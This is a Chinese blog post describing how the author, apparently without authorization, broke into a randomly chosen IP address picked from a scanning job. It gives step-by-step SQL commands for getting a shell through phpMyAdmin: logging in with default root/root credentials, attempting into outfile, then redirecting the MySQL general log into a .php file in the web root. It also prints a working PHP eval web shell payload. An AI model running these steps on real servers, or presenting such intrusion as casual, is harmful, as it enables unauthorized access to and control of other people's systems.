记一次偶然的渗透测试

前言

这段时间来任务,需要扫描一批IP。反正也闲的无聊,等扫描完成还需要一段时间,就随手拿了个IP来测试一下。

一、端口扫描

用nmap简单扫描了一下,发现开了80和3306端口,
记一次偶然的渗透测试

二、目录扫描

尝试用浏览器访问一下IP,显示403,没有权限访问,如下图:
记一次偶然的渗透测试1

为了扩大攻击面,扫了一波目录,结果扫出了两目录,如下图:

记一次偶然的渗透测试2

本来还有些困,看到目录名后一下精神起来了,先尝试访问一下/log.php,如下图:
记一次偶然的渗透测试3

可以看到,这里泄露了网站的数据库版本,以及网站的绝对路径

三、弱口令

再来访问一下/phpmyadmin1,果不其然是phpmyadmin的登录界面,如下图:
记一次偶然的渗透测试4

先尝试下默认密码:root,root,如下图:
记一次偶然的渗透测试5
没想到直接进去了,网站管理员也太随便了,好吧,刚拿起爆破工具的手又放下了。

四、拿下shell

既然进入了phpmyadmin,下一步要做的自然就是尝试getshell了,而在phpmyadmin中getshell的方式我知道两种,先来尝试第一种方式。

1. 通过into outfile写入一句话木马

getshell的两种方式都必须知道网站的绝对路径。这个时候我们之前做的目录扫描不就起到了作用嘛,在/log.php这个目录下就直接暴露了网站的绝对路径(D:\phpstudy\WWW),如下图:

记一次偶然的渗透测试6

OK,现在可谓是万事具备。
先创建一个名为test123的数据库,再创建一张名为test_table的表和一个名为name的字段,代码如下:

create database test123;
create table test_table(name varchar(50));

记一次偶然的渗透测试7

记一次偶然的渗透测试8

然后尝试给name字段添加一个值,值的内容为一句话木马:如下图:
记一次偶然的渗透测试9

现在一句话木马虽然插入成功了,但还不能够运行,需要将包含木马的test_table表导出为一个php文件,这样木马就可以成功执行了,代码如下:

select name from test.test_table into outfile 'D:\phpStudy\WWW\a.php';

记一次偶然的渗透测试10

显示语句执行失败了,看报错信息,“MySQL服务器正在使用–secure-file-priv选项运行,因此它无法执行此语句”。那么我们查询一下secure-file-priv的值,代码如下:

show global variables like '%secure%';

记一次偶然的渗透测试11

可以看到,“secure_file_priv”对应的值为NULL,为NULL就没办法正常写入一句话,所以我们现在把secure_file_priv设置为网站的根目录,再去尝试使用into outfile getshell,如下图:

记一次偶然的渗透测试12
然而报错信息显示secure_file_priv是只读变量,无法修改。
至此,想通过into outfile拿到shell是不可能了。

2. 通过日志写入一句话木马

没办法,我们转而尝试第二种方法,尝试利用日志getshell。
在这里简单介绍一下:

Mysql的两个全局变量:
general log 指的是日志保存状态,一共有两个值(ON/OFF)ON代表开启 OFF代表关闭。
general log file 指的是日志的保存路径。

我们先查看一下两个变量的状态,代码如下:

show global variables like '%general%';

记一次偶然的渗透测试13
从上图可以看到general_log是off状态,我们将其改为on,打开后就会生成日志文件,再将general_log_file的值改为D:\phpStudy\WWW\xxx.php,代码如下:

set global general_log='on';
set global general_log_file='D:\\phpStudy\\WWW\\a.php';
(注意:绝对路径在这里要用双斜杠,单斜杠会执行失败)

a.php是日志文件,也是我们等下要连接的木马。

那么现在直接将一句话木马写入到日志文件,代码如下:

select '<?php eval(@$_POST['pass123']); ?>';

记一次偶然的渗透测试14

这里提示有语法错误,我们不用管。尝试用蚁剑连接一下,成功。

记一次偶然的渗透测试15

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
大佬不来一句? 抢沙发

请登录后发表评论